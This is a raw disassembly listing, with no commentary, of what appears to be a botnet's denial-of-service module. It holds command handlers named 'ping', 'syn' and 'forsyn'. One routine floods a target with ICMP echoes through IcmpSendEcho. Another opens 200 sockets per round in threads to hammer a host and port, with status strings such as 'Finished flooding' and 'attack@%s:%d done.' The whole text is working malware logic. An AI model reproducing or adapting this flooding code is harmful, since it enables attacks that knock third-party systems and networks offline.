loc_426EC0: ; CODE XREF: ___:loc_401B81j
push 0FFFFFFFFh
push offset loc_43C9D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebx, ecx
push edi
lea ebp, [esi+7Eh]
lea ecx, [ebx+60h]
mov [esp+54h], ebp
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
mov edi, dword_511B14
test eax, eax
jnz loc_427058
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
xor ebp, ebp
cmp eax, ebp
mov [esp+4Ch], ebp
jz short loc_426F2B
mov ecx, eax
call sub_401DF2
mov ebp, eax
loc_426F2B: ; CODE XREF: ___:00426F20j
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 1
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea ecx, [esi+69h]
push ecx
lea ecx, [ebp+26h]
call sub_401FDC
mov dl, [esi+93h]
mov ecx, ebp
mov [ebp+8Fh], dl
mov al, [esi+94h]
mov [ebp+90h], al
call sub_4013DE
mov ebp, [esp+54h]
loc_427058: ; CODE XREF: ___:00426F01j
lea ecx, [ebx+8Eh]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4271CA
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_42709B
mov ecx, eax
call sub_401BDB
mov ebp, eax
jmp short loc_42709D
; ---------------------------------------------------------------------------
loc_42709B: ; CODE XREF: ___:0042708Ej
xor ebp, ebp
loc_42709D: ; CODE XREF: ___:00427099j
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebx+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 6
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 4
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013DE
mov ebp, [esp+54h]
loc_4271CA: ; CODE XREF: ___:0042706Dj
lea ecx, [ebx+4]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_427339
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Ah
jz short loc_42720A
mov ecx, eax
call sub_40130C
mov ebp, eax
jmp short loc_42720C
; ---------------------------------------------------------------------------
loc_42720A: ; CODE XREF: ___:004271FDj
xor ebp, ebp
loc_42720C: ; CODE XREF: ___:00427208j
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push edx
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 0Bh
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 2
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Ch
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 3
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Dh
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 4
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Eh
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea eax, [esi+69h]
lea ecx, [ebp+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [ebp+8Fh], cl
mov dl, [esi+94h]
mov ecx, ebp
mov [ebp+90h], dl
call sub_4013DE
mov ebp, [esp+54h]
loc_427339: ; CODE XREF: ___:004271DCj
lea ecx, [ebx+32h]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4274E4
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Fh
jz short loc_427379
mov ecx, eax
call sub_40178F
mov ebp, eax
jmp short loc_42737B
; ---------------------------------------------------------------------------
loc_427379: ; CODE XREF: ___:0042736Cj
xor ebp, ebp
loc_42737B: ; CODE XREF: ___:00427377j
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 10h
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 11h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 12h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 13h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+30h]
push 5
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 14h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+2Ch]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013DE
mov ebp, [esp+54h]
loc_4274E4: ; CODE XREF: ___:0042734Bj
lea ecx, [ebx+0EAh]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_427501
mov [ebx+11Ch], al
loc_427501: ; CODE XREF: ___:004274F9j
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 1A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4276C0 proc near ; CODE XREF: sub_401A78j
var_4 = dword ptr -4
push ecx
mov edx, dword_449A04
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_4276E1
inc ecx
mov [eax+118h], ecx
loc_4276E1: ; CODE XREF: sub_4276C0+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E8E9B
call sub_40120D
sub_4276C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427740 proc near ; CODE XREF: sub_40130Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427740
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F0DC
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427740 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4277B0 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4020AE
test [esp+4+arg_0], 1
jz short loc_4277C8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4277C8: ; CODE XREF: sub_4277B0+Dj
mov eax, esi
pop esi
retn 4
sub_4277B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4277E0 proc near ; CODE XREF: sub_4020AEj
jmp sub_4014CE
sub_4277E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427800 proc near ; CODE XREF: sub_401A50j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427800
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_40142E
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014DD
push eax
call sub_40183E
add esp, 10h
test eax, eax
jz short loc_4278C4
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_4278DE
; ---------------------------------------------------------------------------
loc_4278C4: ; CODE XREF: sub_427800+9Aj
mov ecx, ebx
call sub_4017EE
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_4278DE: ; CODE XREF: sub_427800+C2j
lea ecx, [esp+34h+var_24]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427800 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427980 proc near ; CODE XREF: sub_401E9Cj
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_437B30
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
nop
call near ptr 27F08FAh
mov esi, eax
test esi, esi
jz short loc_4279EA
mov edi, dword_511918
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov dword_51011C, eax
call edi
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov dword_510120, eax
call edi
mov ecx, dword_51011C
mov dword_510118, eax
test ecx, ecx
jz short loc_4279EA
mov edx, dword_510120
test edx, edx
jz short loc_4279EA
test eax, eax
jz short loc_4279EA
mov al, [esp+0Bh]
test al, al
jz short loc_4279F5
loc_4279EA: ; CODE XREF: sub_427980+1Bj
; sub_427980+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_4279F5: ; CODE XREF: sub_427980+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_427A0C
mov [esp+24h+arg_FFE8], eax
loc_427A0C: ; CODE XREF: sub_427980+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_427A1F
mov ebp, 1
loc_427A1F: ; CODE XREF: sub_427980+98j
call ecx ; IcmpCreateFile
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_427A64
loc_427A30: ; CODE XREF: sub_427980+E2j
mov al, byte_4D84B9
test al, al
jz short loc_427A64
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call dword_510118 ; IcmpSendEcho
inc esi
cmp esi, ebx
jl short loc_427A30
loc_427A64: ; CODE XREF: sub_427980+AEj
; sub_427980+B7j
push edi
call dword_510120 ; IcmpCloseHandle
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_427980 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427AC0 proc near ; CODE XREF: sub_40183Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_40188E
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401E9C
add esp, 14h
retn
sub_427AC0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427B00 proc near ; CODE XREF: sub_401F9Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427B00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0EC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427B00 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427BA0 proc near ; CODE XREF: sub_4014CEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427BA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F0EC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427BA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427C60: ; CODE XREF: ___:loc_4016DBj
; ___:0040219Ej
push esi
mov esi, ecx
call sub_4014CE
test byte ptr [esp+8], 1
jz short loc_427C78
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427C78: ; CODE XREF: ___:00427C6Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427C90 proc near ; CODE XREF: sub_401BDBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427C90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset nullsub_10
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427C90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427D00: ; CODE XREF: ___:00401A28j
; ___:00401AC3j
push esi
mov esi, ecx
call sub_401807
test byte ptr [esp+8], 1
jz short loc_427D18
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427D18: ; CODE XREF: ___:00427D0Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427D30 proc near ; CODE XREF: sub_401807j
jmp sub_4014CE
sub_427D30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427D50 proc near ; CODE XREF: sub_401366j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427D50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4E7D8F
mov [esp+2Ch+var_28], eax
loc_427D76: ; CODE XREF: sub_427D50+35j
cmp dword ptr [ecx], 0
jz short loc_427D87
add ecx, 78h
inc eax
cmp ecx, offset byte_4E86EF
jl short loc_427D76
loc_427D87: ; CODE XREF: sub_427D50+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_427F39
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:4E7D1Bh[eax*8]
call sub_4017EE
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
call near ptr 71AB2B66h
nop
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_427DF0
mov dword ptr [ebp+68h], 5
loc_427DF0: ; CODE XREF: sub_427D50+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_510128
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_4014DD
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D8075
call sub_401857
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_510328
push 0
push ecx
push offset sub_4012C1
push 0
push 0
call near ptr 27A01BEh
nop
test eax, eax
mov dword_51032C, eax
jz short loc_427E8B
push offset dword_448F34
push 5
push eax
push 0
push offset dword_510128
call sub_4013F2
add esp, 14h
mov [ebp+70h], eax
jmp short loc_427EBB
; ---------------------------------------------------------------------------
loc_427E8B: ; CODE XREF: sub_427D50+11Dj
mov ecx, esi
call sub_4017EE
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_4014DD
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_427EBB: ; CODE XREF: sub_427D50+139j
lea ecx, [esp+38h+var_24]
call sub_40142E
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_4017EE
push eax
push offset aS ; "%s"
mov ecx, edi
call sub_4014DD
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
loc_427F39: ; CODE XREF: sub_427D50+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_427D50 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427FD0 proc near ; CODE XREF: sub_4012C1j
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:4E7D1Bh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
nop
call near ptr 71AB2B66h
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_428066
push ebp
nop
call near ptr 71AB4FD4h
xor edx, edx
cmp eax, edx
jnz short loc_42805F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D8735[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_42805F: ; CODE XREF: sub_427FD0+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_428066: ; CODE XREF: sub_427FD0+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_428116
mov ebx, dword_511C3C
loc_428085: ; CODE XREF: sub_427FD0+140j
mov al, byte_4D84B9
test al, al
jz loc_428116
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_42809B: ; CODE XREF: sub_427FD0+EFj
push 0
push 1
push 2
call ebx ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4280BB
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
call near ptr 71AB4519h
nop
loc_4280BB: ; CODE XREF: sub_427FD0+D8j
add esi, 4
dec edi
jnz short loc_42809B
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4280CA: ; CODE XREF: sub_427FD0+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
nop
call near ptr 71AB406Ah
add esi, 4
dec edi
jnz short loc_4280CA
mov ecx, [ebp+68h]
push ecx
nop
call near ptr 2831C1Ah
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4280F3: ; CODE XREF: sub_427FD0+130j
mov edx, [esi]
push edx
call near ptr 71AB9639h
nop
add esi, 4
dec edi
jnz short loc_4280F3
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_428085
loc_428116: ; CODE XREF: sub_427FD0+A9j
; sub_427FD0+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D8735[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
sub_427FD0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4281A0 proc near ; CODE XREF: sub_401DF2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4281A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aSyn ; "syn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F10C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4281A0 endp
; ---------------------------------------------------------------------------
db 90h
